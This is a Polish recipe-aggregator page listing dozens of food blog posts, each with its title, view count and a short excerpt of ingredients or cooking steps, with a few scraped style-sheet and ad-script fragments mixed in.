R'n'G Kitchen
Shoarma drobiowa 326

frytkami, surówką i sosem czosnkowym :)   Składniki: 1 kg ziemniaków 1 pojedynczy filet z kurczaka 3 pieczarki kawałek czerwonej papryki kawałek zielonej cukinii 10 dkg sera żółtego sól, … Czytaj dalej Shoarma drobiowa

czarrna od kuchni
Sałatka z grejpfrutem i kuleczkami z kremowego serka i pistacji 176

wymieszać z oliwą, solą, cukrem trzcinowym i pastą z ostrej papryki. Dressing powinien być słodko-kwaśny z lekkim posmakiem goryczki. W razie potrzeby dosolić lub dodać cukru.  Polać sosem sałatkę i podawać od razu

Kulinarne Inspiracje
Kotleciki z kalafiora i marchewki 160

kotleciki i obtaczać w bułce tartej. Na patelni rozgrzać tłuszcz i smażyć kotlety z obu stron na złoty kolor. Gotowe osączyć z tłuszczu na papierowych ręcznikach. Podawać z ulubionym sosem. Smacznego

magiczna kuchnia Kasi
Wołowina w sosie grzybowym 155

pieprzu, zalewamy wodą w takiej ilości żeby przykryła mięso. Cebule obieramy, kroimy w kostkę, odsmażamy na oleju po smażeniu mięsa, dodajemy do mięsa. Wszystko gotujemy do miękkości mięsa, sos zagęszczamy mąką rozrobioną w niewielkiej ilości zimnej wody. Doprawiamy do smaku solą oraz pieprzem

Bajeczna Kuchnia
Tarta grahamkowa z serami góralskimi i fasolką 140

spodzie rozłożyć fasolkę, zalać masą serową i posypać startym na tarce ostatnim małym oscypkiem wędzonym. Wstawić do piekarnika i zapiekać ok 30 min w temp 180 st. Podawać z sosem pomidorowym lub pomidorami

Gotowanie jest łatwe
Muhammara - syryjska pasta z pieczonych papryk i orzechów włoskich 255

dziś, chciałabym przedstawić Wam NAJLEPSZĄ PASTĘ NA ŚWIECIE. Czy może być coś lepszego niż połączenie pieczonej papryki z orzechami włoskimi? Świetnie smakuje na kanapkach, ale również sprawdza się jako sos do makaronów. Absolutny MUST TRY! :) Składniki: - 4 papryki słodkie lub zwykłe - pół szklanki orzechów włoskich - 1-2 łyżki oliwy - 1 chrupak (lub inne chrupkie, bądź suche pieczywo) - można pominąć

Be Fit Be Strong
Kurczak pieczony z cytryną i tymiankiem 183

wstawiamy formę z kurczakiem na półtorej godziny.  Tak przygotowanego kurczaka podajemy z ugotowanymi / upieczonymi ziemniakami lub frytkami. A do kompletu możemy podać sałatę z sosem vinaigrette.    Kurczak pieczony z cytryną i tymiankiem

Kuchnia na wzgórzu
Udka kurczaka po hiszpańsku – pełny obiad z jednej blachy 349

posypujemy ziołami. Rozrzucamy plastry chorizo, cząstki cebuli, pomidorki, oliwki. Wstawiamy całość do piekarnika nagrzanego na 170⁰C na środkową półkę, pieczemy dwie godziny. Ziemniaki na dnie uduszą się w sosie z kurczaka i aromatycznym tłuszczyku wytopionym z chorizo, zachowają kształt i nabiorą lekko cytrusowego aromatu . Pomidorki i cebula zmiękną, zrobią się bardzo słodkie, stracą ostrość i kwasowość. Całość jest idealnie

Karo in the Kitchen
Prosta sałatka z gotowanej pszenicy, kukurydzy z pomidorem. 151

garście pomidorków koktajlowych, 5 cl oliwy z oliwek, 4 łyżki octu. Przygotowanie: Pszenicę gotujemy według instrukcji na opakowaniu. Odsączamy kukurydzę. Kroimy pomidory (w kosteczkę, albo przepoławiamy pomidorki koktajlowe). Przygotowujemy sos do sałatki. W tym celu mieszamy: oliwę z oliwek z dodatkiem octu, doprawiamy do smaku pieprzem i solą. Całość mieszamy razem i ewentualnie doprawiamy. Smacznego. Pozdrawiam serdecznie Beata

MODA NA BIO
Roladki drobiowe z bogatym wnętrzem 560

Delikatne mięso z aromatycznym nadzieniem Składniki: 1 pojedynczy filet z kurczaka 1 łyżka sosu chili czosnkowego 1 łyżka majonezu 2 suszone pomidory 2 łyżki kaparów 4 ząbki czosnku z zalewy … Czytaj dalej Roladki drobiowe z bogatym wnętrzem

czarrna od kuchni
Sałatka z tuńczyka 225

Składniki 2 puszki tuńczyka w sosie własnym 1 puszka groszku 5 ogórków kiszonych 4 jajka łyżeczka musztardy 4 łyżki majonezu pieprz, sól   Sposób przygotowania Tuńczyka odcisnąć, ugotowane na twardo … Czytaj dalej Sałatka z tuńczyka

czarrna od kuchni
Warstwowa sałatka z tuńczykiem i jajkami 153

wzięte. Jest prosta i szybka w wykonaniu co sprawia ,że jeszcze bardziej ją lubię :) Składniki: ( porcja na jedną dużą miskę albo dwie mniejsze) 8 jajek 2 puszki tuńczyka w sosie własnym cebulka dymka + szczypiorek 1/2 puszki kukurydzy 100 g żółtego sera ok. 200 ml majonezu Wykonanie: jajka gotujemy na twardo. Studzimy, obieramy i oddzielamy białka od żółtek. I według kolejności

W Moim Magicznym Domu
Tofu z makaronem bun, ziołami i sosem z pasty krewetkowej (Bun Dau Mam Tom) 203

makaronem bun i trzy makaronowe dania, to spełniamy obietnicę i ten cykl zamykamy ostatnim daniem z cienkim makaronem ryżowym. To danie to Bun Dau Mam Tom. Tofu, makaron, sos z pasty krewetkowej i zioła. Tofu, … Czytaj dalej

slodkokwasnapl
Bigosik z kaczki 160

Bigosik jest potrawką bez kapusty, z pokrajanego drobno mięsa, z sosem kwaskowatym, zwykle z dodaniem jabłek.” Tyle o zapomnianym bigosiku pisze Zygmunt Gloger w Encyklopedii staropolskiej z 1910 roku. Ponieważ bardzo lubię kaczkę, a kaczka bardzo lubi jabłka, postanowiłam przyrządzić bigosik właśnie z kaczki. 4 nogi kaczki, 3 goździki, kilka nasion kolendry, pieprz kolorowy świeżo mielony, 100 g szalotki

królestwo garów
PIERSI KURCZAKA W PIKANTNEJ MARYNACIE 144

podwójna filet z kurczaka   Marynata:   1 ząbek czosnku(dałam 5 ząbków bo jeden stanowczo za mało) 4 łyżki oliwy z oliwek 2 łyżki octu balsamicznego 1 łyżeczka sosu sojowego 1 łyżeczka ostrej musztardy(u mnie rosyjska) 1 łyżeczka ostrej papryki(u mnie wędzona,ale następnym razem dam 2 łyżeczki) 1 łyżeczka soli 1/2 łyżeczki tymianku 1/2 łyżeczki rozmarynu

Niespełnione zdolności kulinarne
Zielone wiosenne spring rollsy 194

Wiosna za pasem, czas na lekkie dania. Zapraszam na wiosenne, zielone przekąski, czyli warzywne sajgonki - spring rollsy. Lekkie, przyjemne i smaczne. Do tego zielony, lekko pikantny sos i będziemy się czuli od razu lżejsi o kilka kilogramów. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Niezwykłe currywurst – biała kiełbasa na curry z soczewicy 255

curry rozkładamy kiełbasy, próbując zachować ich wyjściowy kształt. Posypujemy z wierzchu pozostałą przyprawą curry, posiekaną pietruszką. I jemy od razu. Zamiast frytek polecam pszenną lekką bułkę, która elegancko zbierze sos z talerza. SKŁADNIKI 4-6 białych kiełbas surowych, dobrze przyprawionych (ja używam Mroza) 1 puszka soczewicy lub 250g ugotowanej soczewicy 2 czerwone cebule 150-200g 1 ząbek czosnku

Karo in the Kitchen
Schab w sosie z powidła śliwkowego na winie 179

Pyszny, mocno aromatyczny sos śliwkowy z powidła, w połączeniu z czerwonym winem jest idealnym dodatkiem do schabu! Składniki: 1 kg schabu 3 dag tartej bułki 5 dag masła 1 łyżka powidła śliwkowego 1 gram mąki sól do smaku cukier do smaku goździki 1 kieliszek czerwonego wina Wykonanie: Schab pokroić w plastry i ugotować w osolonej wodzie. Po czym mięso wyciągnąć

Tradycyjna Kuchnia
Makaron z sosem brokułowym 256

tylko różyczek. Składniki 250 g makaron Farfale 1 brokuł papryczka chili 1/2szt 3 ząbki czosnku 3 szt anchois 2 łyżki parmezanu startego oliwa … Czytaj dalej Makaron z sosem brokułowym

czarrna od kuchni
Tortilla drobiowa z sosem czosnkowym 342

pół małej kapusty pekińskiej 1 ogórek 2 pomidory 40 dkg fileta z kurczaka przyprawa kebab-gyros przyprawa uniwersalna, pieprz, papryka słodka olej lub … Czytaj dalej Tortilla drobiowa z sosem czosnkowym

czarrna od kuchni
Nieziemsko dobre smażone tofu z ryżem 211

Czasem jest tak, że nie mamy czasu na przygotowanie wymyślnych obiadów i stanie przy garach przez kilka godzin. Dobrym rozwiązaniem są kotlety sojowe czy błyskawiczny makaron z sosem pomidorowym. No ale ile można jeść taki makaron czy kotlety?! Ratunkiem dla zapracowanych jest nieziemsko dobre smażone tofu z ryżem- idealna alternatywa dla tych, którzy są już znudzeni kotletami i makaronem

wegetalerze
Sałatka śledziowa 232

śledziowa Sałatka śledziowa Składniki : 4-5 ziemniaki średniej wielkości 4 płaty śledzia z zalewy solnej 2-3 jajka Sól oraz pieprz 1 łyżeczka suszonego koperku 5-6 ogórków kiszonych Sos: 1,5 łyżki majonezu 1 mały jogurt naturalny 2 łyżeczki musztardy (użyłem sarepskiej) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name

Sprawdzone przepisy kulinarne
Przebudzenie Barbary 159

samym było idealnie wypieczone. Jednak prawdziwą gwiazdą programu była wyborna polędwiczka wieprzowa na purée z selera i jarmużem. Mięso rozpływało się wprost w ustach i było podane ze świetnym sosem oraz gorczycą, które tworzyły integralną całość. Zwieńczeniem naszego posiłku były domowe lody z karmelizowanymi orzechami włoskimi oraz kruchym ciastkiem czekoladowym. Cudowne zwieńczenie tak prostej, a jednocześnie wytwornej kolacji. Nowe menu

Food Square
Kilka pomysłów na... 189

gryczane naleśniki z pomidorowym farszem z czerwonej soczewicy i cebulki, z serem z ziemniaka (vegan) potrawka pomidorowa z ciecierzycą, kalafiorem z brokułami i tahini (vegan) makaron z sosem z sera z ziemniaka, z brokułami (vegan) kluski śląskie z serem z ziemniaka (vegan) gofry marchewkowe z pastą z zielonego groszka i pomidorami  brownie z batatów i daktyli (vegan

More food, love and dreams
Surówka Colesław 160

łyżki koperku Wykonanie: Kapustę drobno poszatkowałam, cebulę pokroiłam w kostkę, a marchewkę obrałam i starłam na tarce o drobnych oczkach. Resztę składników (oprócz koperku) wymieszałam w miseczce i powstałym sosem zalałam kapustę z marchewką i cebulą. Dokładnie wymieszałam, misce przykryłam folią spożywczą i odstawiłam na na kilka godzin, można też na całą noc wstawić do lodówki. Ja po kilku godzinach

Blondynka Gotuje
Pizza rustica siciliana. Rustykalna pizza sycylijska. Po mojemu. 177

mąki z pszenicy durum lub każdej innej, ja zamówiłam na Frisco.pl  mąkę uniwersalną, Szymanowską 7 g świeżych drożdży łyżeczka cukru około 100 ml wody oliwa z oliwek Sos i dodatki najlepsze byłyby pomidory San Marzano lub Perina, u mnie znalazły się pomidory z puszki ser caciocavallo lub dla wersji delikatniejszej – ricotta- lub każdy inny jaki lubicie pieprz czarny

Z Kuchni Do Kuchni
Moje #kuchenneskarby - Mój największy skarb 187

pewnością miałabym już wątpliwości, jak ja to zrobiłam i bez zapisania w zeszycie, przepis przepadłby bezpowrotnie. W zeszycie znalazł się więc przepis na placuszki ziemniaczano-brokułowe z ostrym sosem pomidorowym z harrisą, omlet ryżowy z niczego, papryki faszerowane warzywami i kaszą pęczak, kotlety z cieciorki i pieczonej marchewki, hummus z zielonego groszku, a także receptury znane z bloga: dip czosnkowy

Chilli Czosnek i Oliwa
Makaronowa sałatka z tuńczykiem. 191

tradycyjne  już się  przejadły. Zapraszam :) Składniki : około 400 g makaronu Bartolini kolorowe świderki 4 jajka ugotowane na twardo 1 puszka kukurydzy 2 puszki tuńczyka w sosie własnym 1 pęczek szczypiorku sól,pieprz do smaku 2,3 łyżki  majonezu FolWark   1 łyżeczka  musztardy chrzanowej Roleski   kawałek pora     Wykonanie : Makaron gotujemy w osolonej wodzie

Sama słodycz i szczypta chili
Pieczeń z kapustą pekińską 127

momentu aż z wierzchu mięso będzie rumiane. U mnie trwało to około 45 minut. Po wyjęciu posypać natką pietruszki. Podawać na ciepło lub zimno ze swoim ulubionym sosem. pieczeń z kapustą pekińską

O kuchni z uczuciem
Duszone filety w sosie pieczarkowym 127

szklimy cebulę, zalewamy bulionem i chwilę dusimy. Pieczarki oczyszczamy, kroimy na plasterki. Wrzucamy do bulionu. Śmietanę rozrabiamy z kilkoma łyżkami gorącego bulionu, dodajemy do całości i dokładnie mieszamy. Do sosu wrzucamy filety i dusimy na małym ogniu przez 30 min. Całość do smaku doprawiamy solą i pieprzem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Sałatka z makaronem 557

słowem wyszła sałatka " na winie", czy li to, co miałam pod ręką i uważałam ,że dobrze się skomponuje. Powstała pyszna sałatka, która zniknęła w mgnieniu oka podczas sobotniej kolacji. Sos jogurtowo - majonezowy z odrobiną czosnku, stał się kwintesencją smaku. SKŁADNIKI 3 szklanki ugotowanego makaronu pełnoziarnistego ( u mnie wstążki) 1 papryka czerwona pęczek szczypiorku 1 pierś z kurczaka obsmażona lub pieczona

W kuchennym oknie Ewy
VEGE burgery z buraka i kaszy jaglanej 224

imbiru   1-2 ząbki czosnku wyciśnięte przez praskę Pęczek  natki pietruszki   Pęczek  kolendry (opcjonalnie)   Bułka  tarta   Mąka pszenna   Olej     Sos  sojowy,  sól i pieprz do smaku   Przygotowanie: Limonkę wyszorować i  sparzyć , skórkę  zetr zeć  na tarce, wycisnąć sok. Cebulę  pokroić w drobną kostkę

SzczyptaSmaQ
Naleśniki z mięsem w sosie pomidorowym 250

mięsa mielonego 1/2 cukinii 1 cebula 2 ząbki czosnku 2 łyżki koncentratu pomidorowego garść świeżych ziół (bazylia, oregano i estragon) … Czytaj dalej Naleśniki z mięsem w sosie pomidorowym

czarrna od kuchni
Szynka w sosie curry 288

szynki wieprzowej 1/2 cukinii 1 papryka 1 cebula 1 jogurt naturalny 1 łyżeczka soli marynata do mięsa: 4 łyżki oleju 1 łyżka octu ryżowego … Czytaj dalej Szynka w sosie curry

czarrna od kuchni
Polędwiczka w sosie własnym 309

plackach ziemniaczanych :) Składniki 1 polędwiczka wieprzowa 1 duża cebula sól, pieprz mieszanka ostrych przypraw (młynek) słodka papryka 2 ząbki czosnku 2 łyżki mąki … Czytaj dalej Polędwiczka w sosie własnym

czarrna od kuchni
Pide z wołowiną i wiosenną salsą 253

kolendry i sok z połowy cytryny. Całość dokładnie wymieszałem. Gotowe placki wyłożyłem na talerze. Na wierzch mięsa wyłożyłem sporą ilość warzywnej salsy. Danie można podać z gęstym jogurtem lub sosem czosnkowym na bazie jogurtu

Wyprawy kulinarne
Pieczarki zapiekane z warzywami 213

solą oraz pieprzem. Cały farsz wymieszać ze sobą. Przygotowanym nadzieniem nafaszerować pieczarki i połowę papryki. Warzywa ułożyć na blaszce do pieczenia (najlepiej, aby była z obniżonym bokiem - dzięki temu sos z pieczarek spłynie). Na sam koniec ułożyć kawałki żółtego sera.  Piec w 195 º C  przez około 20  minut (ser musi się rozpuścić, a pieczarki zmienić kolor

Ugotować
Sałatka z kalarepy, ogórka i selera naciowego 242

posiekać. Ziarna słonecznika uprażyć na złoto na gorącej patelni - w ten sposób oddadzą więcej smaku i aromatu .  Wszystko prze ł ożyć do miski. Dołożyć żurawinę i rodzynki. Przygotować sos z jogurtu i podstawowych przypraw, po czym wymieszać go z resztą produktów w misce.  Całość odstawić do lodówki na co najmniej godzinę, dla "przegryzienia się" składników. Lekka, dietetyczna, zdrowa

Grunt to przepis!
Sushi maki 249

Domowe prawie jak z restauracji :) Pierwszy raz i na pewno nie ostatni :) Składniki 5 arkuszu prasowanych wodorostów nori 250 g ryżu do sushi sos do ryżu: 3,5 łyżki … Czytaj dalej Sushi maki

czarrna od kuchni
Jesienny pieczony udziec z indyka 163

naczynia i piec jeszcze 10 minut skórką do góry, żeby była chrupiąca i podsuszona. Pieczony udziec z indyka podawać z duszonymi albo pieczonymi ziemniakami lub ryżem, które można podlać sosem z indyka. Post Jesienny pieczony udziec z indyka pojawił się poraz pierwszy w Pociąg Do Kuchni

Pociąg Do Kuchni
Hamburger czarny charakter 247

polecam gorąco!), radicchio, czerwonej papryki, pomidora, czerwonej cebuli i czerwonego sera (dostaniesz go w większych marketach bez problemu). Kotlet do hamburgera powstał z chudej szynki wieprzowej. Zrobiłam też prosty sos na bazie majonezu i jogurtu naturalnego, ze świeżym czosnkiem i ogórkiem konserwowym. :) Jeśli na oba te składniki chcecie przepisy - dajcie znać w komentarzach, bardzo chętnie je Wam podam. :) Całość stworzyła

Garniec Magalie
Zapiekanka z makaronem , boczniakami i polędwicą nad ogniem wędzoną. 166

przykryciem w temperaturze 180 stopni około 30 minut. Następnie zdjąć folię lub szklaną pokrywę i posypać resztą żółtego sera. Piec dalej około 2 5 minut . Podawać z dowolnym sosem lub Remuladą Duńską. Smacznego

Sama słodycz i szczypta chili
kopytka z papryką 190

kroimy nożem po skosie kluseczki. Gotujemy partiami w osolonej, gorącej wodzie przez ok. 2-3 min. od wypłynięcia na wierzch. Następnie wyciągamy i podajemy np. z sosem pomidorowym lub grzybowym. (adsbygoogle = window.adsbygoogle || []).push

Domowy Smak Jedzenia
Roladki drobiowe z salami 254

Delikatny drób z wyrazistym akcentem Składniki 1 filet z kurczaka 5 dkg sera żółtego wędzonego 4 plastry salami sos piri-piri   do panierowania: 1 jajko sól, pieprz bułka tarta Sposób … Czytaj dalej Roladki drobiowe z salami

czarrna od kuchni
Zupa z pieczonych pomidorów i ciecierzycy 162

końcu mojej listy kulinarnych preferencji. Paweł co prawda od wielu lat stara się mnie "ucywilizować" przygotowując wszelkiego rodzaju sałatki i surówki lub przemycając warzywa do różnych potraw, ale oprócz sosu tzatziki i pierożków samosa (sambousa), które bardzo lubię na niewiele się to zdało. Co więcej, zdarza się nam, że co innego je na obiad Paweł, który lubi np. kalafiora

Kulinaria - potrawy z różnych stron świata
Kulki labneh (w oliwie z dodatkami) 211

pieczywie - czy też tostach. Pasują do sałatek ze świeżych warzyw, ziemniaków i potraw z grilla. Jeśli do oleju dodamy sok z cytryny lub ocet balsamiczny - otrzymamy pyszny i oryginalny sos do sałatek. W lodówce przestoją nawet 3 tygodnie (Proporcje na 1 słoik o pojemności 500 ml) Serek: 700g jogurtu greckiego (2 opakowania po 350g) Dodatkowo: sól do smaku czarnuszka papryka

Di gotuje
Placki z soczewicy z warzywami 158

lecz do skutku łączymy z resztą składników. Doprawiamy solą, której radzę nie żałować oraz pieprzem. Placki smażymy na oleju rzepakowym a następnie odsączcie je na ręczniku papierowym. Do przygotowania sosu potrzeba nam: 100 ml jogurtu naturalnego 1/3 papryki czerwonej 1 ząbek czosnku szczypta soli i cukru 1/2 łyżeczki słodkiej papryki  Wszystkie składniki mieszamy dokładnie w misce. Paprykę siekamy

Kuba Gotuje
FODMAP leczo 589

zazwyczaj w niewielkiej ilości wody, bez tłuszczu) Dodać pokrojoną w kostkę paprykę  Bakłażana wypłukać i dodać do pozostałych warzyw Na końcu dodać cukinię, dusić jeszcze 5 minut Dodać sos pomidorowy i przyprawy, podgotować i dusić aż warzywa będą odpowiednio miękkie (polecam al dente) Na samym końcu dodać oliwę i wymieszać (używając oleju zimnotłoczonego warto go dodać tuż przed podaniem

pyszne zdrowości
Placuszki kalafiorowe z peperonatą / Cauliflower cakes with peperonata 207

Dziś przedstawiam doskonały pomysł na dodatek do każdego dania głównego lub danie główne dla zatwardziałych wegetarian:). Szybkie placuszki z kalafiora podane z pikantnym gulaszem z papryki w sosie pomidorowym, z pewnością sprawdzą się na każdym stole. Polecam gorąco! Przepis znalazłam w nowym na rynku polskim magazynie Olive. Scroll down for recipe in English Placuszki kalafiorowe z peperonatą (3-4 porcje

karmelowy
Żeberka pieczone w Coca Coli 197

pieczone ziemniaczki z tymiankiem-mniam.... Składniki: 1,2 kg ładnych żeberek ok. 2 szklanki Coca-Coli marynata: 1-2 łyżki soli 3 ząbki czosnku 2 łyżki oleju 2 łyżki sosu sojowego 1 łyżeczka papryki słodkiej 1/2 łyżeczki papryki ostrej Przygotowanie: Mięso oczyścić, osuszyć i pokroić na kawałki. Każdy kawałek dobrze natrzeć solą. Czosnek rozgnieść i  wymieszać z pozostałymi składnikami

Swojskie jedzonko
Makaron bezglutenowy z bobem, groszkiem i pomidorkami 191

wrzucamy blanszowany bób i groszek, podlewamy winem, dusimy ok. 3 minuty, dodajemy pokrojone na pół pomidorki koktajlowe, doprawiamy pieprzem i dusimy jeszcze ok. 2 minuty. Ugotowany makaron dodajemy do sosu, mieszamy. Wykładamy makaron na talerz, dekorujemy listkami rukoli, możemy posypać świeżo startym parmezanem.   The post Makaron bezglutenowy z bobem, groszkiem i pomidorkami appeared first on Damsko-męskie spojrzenie

Damsko-męskie spojrzenie na kuchnię
Bułki do hamburgerów 271

jesteś mężczyzną!  Ja nie jadam hamburgerów w restauracjach typu fast food czy innych z jednego i oczywistego powodu - przez okropne bułki. :( Na drugim miejscu stawiam równie ohydne, gotowe sosy w plastikowych butelkach bleeee ... :( Gdyby jeszcze bliżej przyjrzeć się samym bułkom - tym gotowym, dostępnym również w marketach, można paść i nie wstać więcej ... Lista ohydności wymieniona na opakowaniu

Garniec Magalie
Kurczak curry z fasolką szparagową i ryżem 242

minucie dodajemy kawałki kurczaka. Smażymy do momentu aż mięso się zetnie z każdej strony. Dodajemy mleczko kokosowe i wsypujemy fasolkę. Podgrzewamy całość od czasu do czasu mieszając.  Sos jest gotowy gdy fasolka zmięknie. Podajemy z ryżem

Qchnia po prostu
Udka Pieczone w Miodowej Marynacie z Pieczonymi Ziemniakami 193

smaczne! Składniki: udka z kurczaka świeżo zmielona sól (u mnie himalajska) świeżo zmielony pieprz czarny dowolna przyprawa do kurczaka (ja użyłam ostrej mieszanki w młynku Kamis) Marynata: 2 łyżki sosu Worcester (Worcestershire) 2 łyżki miodu (użyłam akacjowego ) 2- 3 łyżki oliwy z oliwek lub oleju 3-4 ząbki czosnku przeciśniętego przez praskę czosnek niedźwiedzi zioła prowansalskie papryka mielona ostra Ziemniaki

Blondynka Gotuje
Gulasz rybny 178

doprawić solą, pieprzem i papryką, smażyć przez ok. 10 minut. Na dno garnka o grubym dnie włożyć trochę warzyw, następnie ułożyć ziemniaki, rybę a na koniec warzywa razem z sosem. Dodać wodę i gotować przez ok. 15 minut lub do momentu aż ziemniaki będą miękkie ale nie rozgotowane. Dodać śmietanę, koperek i pietruszkę, doprowadzić do wrzenia i podawać

Mama Gotuje
Podudzia z kurczaka nadziewane jabłkami i porem. 195

piekarnika nagrzanego do 180C i pieczemy do miękkości około godz. W trakcie pieczenia mięso możemy podlać szklanką wody. A dodatkowo co jakiś czas łyżką polewać po wierzchu wytworzonym sosem. Smacznego

Radość kipiąca uśmiechem.
Mięso w sosie kokosowym z mini kukurydzami 229

Mięso w sosie kokosowym z mini kukurydzami czyli propozycja dania lekko ostrego, w stylu meksykańskim. Mleko kokosowe jest wyczuwalne, ale nie dominuje całości dania. Dodatkowo niweluje nadmierną ostrość papryczek i idealnie komponuje się smakowo z mini kolbami kukurydzy. Najlepiej smakuje podane z ryżem i sałatką z sałaty lodowej lub marchewką w sezamie

Mohiella
Burgery z kaszy gryczanej z sadzonym jajkiem 240

blaszce. Burgery pieczemy w temp. 200'C przez 25 min. W połowie pieczenia, przekręcamy burgery na drugą stronę. Serwujemy z sadzonym jajkiem i mixem sałat. Możecie również dodać ulubiony sos, ogórka, pomidora i liście sałaty. Smacznego

kulinarnyJa
Gotowane klopsy z szynki 198

Dzisiaj bardzo dietetycznie i lekko. Uwielbiam dobrze doprawione gotowane mięso. Te klopsy są idealne do ziemniaków, makaronu oraz ryżu. Można podawać je z sosem no pieczarkowym czy z boczniaków. Danie idealne na zimowy obiad. Składniki : * 400g mielonego mięsa z szynki wieprzowej * mała cebula * ząbek czosnku * 3 łyżki zmielonych płatków owsianych * jajko * sól, pieprz, mielony imbir i cynamon - do smaku * szklanka

Magiczne Życie Marty
Mini serniki z białą czekoladą i mascarpone 210

twarogu na sernik 150 g serka mascarpone 150 g białej czekolady 70 g brązowego cukru 1 łyżka esencji waniliowej 2 jajka do dekoracji można użyć: maliny  prażone migdały sos truskawkowy/malinowy wiórki czekoladowe wykonanie: Ciasteczka mielimy na piasek i dodajemy do nich stopione masło. Dokładnie łączymy ze sobą, a powstałą mieszanką wykładamy 16 papilotek do muffinek. Nakładamy po 1 łyżeczce

Przysmaki Karolki
Kurczak z winem i kaparami 141

będzie pryskać) Trzymać na ogniu kilka minut, niech lekko odparuje. Następnie wlać śmietankę. Dodać kapary, posiekaną natkę, przyprawić do smaku solą, pieprzem i trzymać chwilkę na małym ogniu niech sos zgęstnieje.. Połączyć z kurczakiem i gotowe.. Smacznego

Gaździnka warzy
Ciasto do pizzy z mąki pełnoziarnistej 132

ciasto uderzyć pięścią. Podzielić na 2 części. Przełożyć na blachę i rozwałkować. Blachy niczym nie smarujemy, dzięki czemu ciasto będzie się ładnie rozwałkowywało.  Na spód   ciasta wyłożyć sos pomidorowy (koncentrat + woda + zioła do pizzy), następnie dowolne dodatki.     Pizzę pieczemy około 15-20 minut w 220 stopniach. Podawać na ciepło. SMACZNEGO

kulinarnyswiatdomi
Pieczony kurczak caprese. 165

filetu). Na sam koniec na 1 ze stron kładziemy najpierw ser mozzarella, plaster awokado oraz pomidora. Przykrywamy i dusimy około 5 minut. Przekładamy na talerz posypujemy ziołami oraz polewamy sosem balsamicznym

Jedz zdrowo żyj zdrowo!
Wegetariańskie kotleciki z kaszą jaglaną i warzywami 156

Składniki (6 dużych kotletów): duża marchew 100 g kaszy jaglanej cukinia 2 łyżki słonecznika 2 łyżki sezamu 2 jajka 3 łyżki mąki orkiszowej (może być inna) szczypta kolendry łyżka sosu sojowego sól, pieprz, papryka ostra Przygotowanie Kaszę gotujemy w osolonej wodzie do miękkości, odstawiamy do wystudzenia. Sezam i słonecznik prażymy na suchej patelni. Marchew i cukinię ścieramy na tarce

e-PrzepisyKulinarne
Parówki w cieście drożdżowym 196

Parówki w cieście drożdżowym robię bardzo często na kolację chociaż mogą zastąpić i obiad. Najlepsze z keczupem, sosem czosnkowym lub jako dodatek to barszczyku. Te, które nie zjemy mrożę a po rozmrożeniu odgrzewam w mikrofalówce. Składniki: 0,5 kg mąki 1 szklanka mleka 5 dag drożdży 5 łyżek oleju 3 łyżki cukru szczypta soli  2 jajka 8 parówek

Cukiernia Pychotki
Kotleciki w sosie cukiniowym z mascarpone 215

jagodzianka" Uwielbiam takie smaki. Połączenie delikatnego mięsa z cukinią i serkiem mascarpone może wydawać się nudne, ale przyprawy i wino cudownie … Przeczytaj cały artykuł Post Kotleciki w sosie cukiniowym z mascarpone pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Żeberka w Marynacie z Miodem – Pieczone w Piekarniku 378

przygotowaniu i powinny smakować każdemu ponieważ marynata jest bardzo dobra. Polecam wypróbować przepis. Będziemy potrzebować : około 1 kg żeberek wieprzowych na marynatę: 3/4 szklanki ketchupu łagodnego 2 łyżki sosu sojowego 3 łyżki miodu 80 ml oleju 1 średnia cebula 3-4 ząbki czosnku przyprawy: 1 łyżeczka papryki słodkiej 1/2 łyżeczki tymianku 1/3 łyżeczki papryki ostrej 1/3 łyżeczki pieprzu 1/3 łyżeczki

Uwaga Babcia Gotuje
Rośliny strączkowe – porady 203

białko, błonnik i minerały. Z powodzeniem mogą zastąpić mięso kilka dni w tygodniu Łatwe w przechowywaniu i przyrządzaniu. Duża różnorodność pod względem smaku, kształtu i koloru Idealne do sosów, past i potrawek Można stosować do bezglutenowego pieczenia, zobacz, brownie z czarnej fasoli     The post Rośliny strączkowe – porady appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Spaghetti z mięsa drobiowego 218

Dzisiaj zachęcam Was do przygotowania dietetycznego spaghetti - bez sera i gotowych sosów. Do przygotowania poniższego dania potrzebujecie drobiowe mięso mielone, pomidory z puszki, cebulę oraz marchewkę.  Danie łatwe i w miarę szybkie do przygotowania.  Składniki na 4 porcje: 0,5 kg mięsa mielonego, np. z indyka 1 duża marchewka 1 puszka pomidorów krojonych 1 cebula sól, pieprz papryka

Ugotować
Gulasz z indyka w marynacie Azjatyckiej z kaszą bulgur z vermicelli. 225

marynacie Azjatyckiej Roleski oraz przyprawą Skworcu . Gulasz podałam z kaszą bulgur z vermicelli .Vermiceli to taki cieniutki makaronik, powiem Wam że kasza w połączeniu z tym makaronikiem i sosem smakuje wybornie :) Obiad podałam na porcelanie Bogucice . Zapraszam do wypróbowania :) Składniki : 3oo g kaszy Bulgur z Vermicelli firmy Melvit 600 g mięsa gulaszowego z indyka 1 duża cebula 3 marchewki

Sama słodycz i szczypta chili
Kluski kładzione 163

wrzątku.Tak postępujemy, aż wykorzystamy całe ciasto. Kluski gotujemy około 5-7 minut w zależności od ich wielkości. Po ugotowaniu nasze kluski wyjmujemy łyżką cedzakową. Podajemy z roztopionym masełkiem, sosem lub jako dodatek do zupy

magiczna kuchnia Kasi
Wątróbka drobiowa z jabłkami i cebulą 207

czasie obieramy i kroimy w cząstki jabłka. Dodajemy do mięsa. Potrawę doprawiamy majerankiem, solą i pieprzem. Smażymy do momentu aż jabłka zmiękną a powstały podczas duszenia sos odparuje

Qchnia po prostu
Tort cannelloni z ricottą i mięsem z łopatki 193

Cannelloni z nadzieniem mięsnym można zapiekać z różnymi sosami (mój ulubiony to beszamelowy), więc każdy ma szanse na znalezienie swojego smaku.  Jakiś czas temu na blogu pojawił się wpis na tort gołąbkowy, pomyślałam, więc, że wersję tortową również można zrobić właśnie z cannelloni. Spróbujcie :) Składniki: opakowanie makaronu cannelloni 0.5kg mięsa z łopatki (zmielone) łyżeczka przyprawy do mięsa mielonego

ChilliJemy
Polędwiczki z dzika panierowane 176

